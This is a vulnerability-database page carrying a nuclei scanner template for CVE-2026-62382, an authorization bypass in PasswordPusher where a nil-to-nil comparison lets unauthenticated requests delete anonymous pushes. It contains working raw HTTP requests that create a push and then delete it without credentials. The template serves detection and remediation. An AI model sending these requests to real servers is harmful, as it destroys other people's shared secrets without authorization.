Lucene search
+L

PasswordPusher v1.45.11-v2.9.5 - Unauthenticated Anonymous Push Deletion via Ownership Bypass

🗓️ 15 Sep 2026 07:44:34Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 3 Views

PasswordPusher v1.45.11 through v2.9.5 allows unauthenticated deletion of anonymous pushes due to a nil==nil ownership-check bypass (CWE-863). The deletion guard evaluates (@push.user == current_user) || @push.deletable_by_viewer. For anonymous pu...

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2026-62382
15 Sep 202609:00
circl
cve
CVE
CVE-2026-62382
22 Aug 202612:26
cve
cvelist
Cvelist
CVE-2026-62382 PasswordPusher before v2.9.6 Authentication Bypass via Null Comparison
22 Aug 202612:26
cvelist
euvd
EUVD
EUVD-2026-64274
22 Aug 202612:26
euvd
nvd
NVD
CVE-2026-62382
22 Aug 202613:16
nvd
ptsecurity
Positive Technologies
PT-2026-79549
22 Aug 202600:00
ptsecurity
vulnrichment
Vulnrichment
CVE-2026-62382 PasswordPusher before v2.9.6 Authentication Bypass via Null Comparison
22 Aug 202612:26
vulnrichment
id: CVE-2026-62382

info:
  name: PasswordPusher v1.45.11-v2.9.5 - Unauthenticated Anonymous Push Deletion via Ownership Bypass
  author: DhiyaneshDk
  severity: medium
  description: |
    PasswordPusher v1.45.11 through v2.9.5 allows unauthenticated deletion of anonymous pushes due to a nil==nil ownership-check bypass (CWE-863). The deletion guard evaluates (@push.user == current_user) || @push.deletable_by_viewer. For anonymous pushes, @push.user is nil; for unauthenticated requests, current_user is nil. Ruby evaluates nil==nil as true, so the ownership check passes and the deletable_by_viewer=false restriction is completely bypassed. Anyone who knows the secret URL token can permanently expire an anonymous push without any credentials.
  impact: |
    An unauthenticated attacker who knows a push's secret URL token can permanently delete (expire) any anonymous push, even when the push creator explicitly set deletable_by_viewer to false.
  remediation: |
    Upgrade PasswordPusher to v2.9.6 or later.
  reference:
    - https://github.com/pglombardo/PasswordPusher/security/advisories/GHSA-jf2m-hpj9-4qx2
    - https://nvd.nist.gov/vuln/detail/CVE-2026-62382
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
    cvss-score: 6.9
    cve-id: CVE-2026-62382
    cwe-id: CWE-863
  metadata:
    verified: true
    max-request: 2
    vendor: pglombardo
    product: passwordpusher
    shodan-query: title:"Password Pusher"
    fofa-query: body="Password Pusher"
  tags: cve,cve2026,passwordpusher,authz-bypass,intrusive,file-upload

flow: |
  http("create-push");
  if (template["url_token"] != "") {
    http("delete-push");
  }

http:
  - id: create-push
    raw:
      - |
        POST /p.json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        {"password":{"payload":"nuclei-{{randstr}}","deletable_by_viewer":false,"expire_after_views":10}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "url_token")'
          - 'status_code == 201'
        condition: and

    extractors:
      - type: json
        name: url_token
        json:
          - '.url_token'
        internal: true

  - id: delete-push
    raw:
      - |
        DELETE /p/{{url_token}}.json HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"expired\":true", "\"deleted\":true")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022063ccce5c9bc89ff11bc7c9f075d837d2dde391fb17c8a9637c16b8088fcb1be702204bd6db2d2fb2787c319b8790c8e9b38f01bc2460b4dbcad5429d3786dbb32105:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Sep 2026 07:09Current
CVSS 46.9
EPSS0.00276
SSVC
3